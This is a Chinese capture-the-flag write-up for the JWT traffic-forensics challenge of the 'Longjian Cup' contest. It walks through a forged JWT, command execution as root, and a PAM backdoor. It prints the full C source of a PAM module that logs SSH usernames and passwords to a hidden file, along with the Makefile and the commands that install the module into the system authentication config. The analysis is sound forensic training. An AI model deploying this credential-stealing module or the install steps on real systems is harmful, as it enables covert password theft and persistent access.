全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- jwt(6题)

题目描述

昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
 
2.1   该网站使用了______认证方式。(如有字母请全部使用小写)
wp:
jwt是什么? 参考连接 https://www.cnblogs.com/gaohuayan/p/11394342.html
jwt就是JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,通俗来说就是让多个服务器知道你是谁,而无需重复登录。jwt保存在cookie中,格式是

 头中保存的是jwt格式,载荷中保存的是内容,签名部分保存的是前面内容的哈希值防止篡改

wireshakk打开包,

 7号数据包是post方式提交form表单认证,8号数据包表示认证通过同时返回jwt数据和网页,jwt数据可以简单理解为cookie。

flag:

因此该网站使用的jwt认证方式,这里有个坑,我开始以为是form表单认证,这里问题描述还是不够清晰。

2.2  黑客绕过验证使用的jwt中,id和username是______。(中间使用#号隔开,例如1#admin)

wp:

在8号数据包中,我们在cookie中的token中提取jwt数据

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc

分为三段

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0

dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc

用base64解码第二段得到

{"id":10086,"MapClaims":{"aud":"admin","username":"admin"}}

flag:

因此10086#admin

我提交后发现不对,我们再次审题 黑客绕过验证使用的jwt中,重点是黑客绕过验证,分析数据包,这个jwt是黑客使用弱密码admin表单登录后发送给黑客的第一个令牌,并没有体现绕过二字。之后在27号黑客使用该令牌执行了系统命令whoami,系统返回了   alert("The administrator has the authority to do this, you can’t") ,意思是只有管理员才有权力执行该命令,你不能执行。黑客此时明白了它并不是最高权限,有再次登录获取新的jwt,还是不行。在97号数据包中,黑客首次构造了jwt,构造结果如下

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc; Path=/; Max-Age=3600; HttpOnly

解密后得知,

{"id":10087,"MapClaims":{"username":"admin"}}

这个才是伪造的,之前是系统自动生成的。

flag:
因此10087#admin

2.3  黑客获取webshell之后,权限是______?

wp:

在97号数据包中黑客使用伪造的jwt提交了whoami,98号包返回 root。这里黑客利用了jwt伪造漏洞和命令执行漏洞

flag:

root

2.4  黑客上传的恶意文件文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

wp:

因为一个一个查看黑客执行的代码比较麻烦,我们导出http对象同意分析文件。再103号数据包中,用base64解码后都到,将下面1.c写道/tmp/目录下

#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}

void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}

PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}

snprintf(message,2048,"Username %s
Password: %s
",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}

flag:

1.c

2.5  黑客在服务器上编译的恶意so文件,文件名是_____________。(请提交带有文件后缀的文件名,例如x.so)

wp:

109号数据包中又写了/tmp/Makefile

CFLAGS += -Werror -Wall

looter.so: looter.c
	gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl

 然后再/tm目录下执行make命令,将looter.c编译成looter.so

flag:

因此是looter.so

 2.6  黑客在服务器上修改了一个配置文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

wp:

之后黑客发现源代码文件名称不对不是1.c,重命名源代码文件名称,mv /tmp/1.c /tmp/looter.c,这里是作者故意埋下的坑,让2.4的问题变得模糊,让我们以为上传的文件是looter.c

再次make,此时/tmp下有三个文件Makefile   looter.c   looter.so,编译好的木马是looter.so

cp /tmp/looter.so /lib/x86_64-linux-gnu/security/,移动木马到ssh认证目录下

echo "auth optional looter.so">>/etc/pam.d/common-auth,这里修改了ssh配置文件

flag:

etc/pam.d/common-auth

之后黑客执行了

service ssh restart

cat /tmp/.looter 

Username root
Password: flag{test_flag}
Username root
Password: flag{test_flag}
Username root
Password: flag{test_flag}
Username root
Password: flag{test_flag}
Username root
Password: flag{test_flag}

因此黑客上传的是ssh登录凭证记录木马

原文地址:https://www.cnblogs.com/GKLBB/p/15302906.html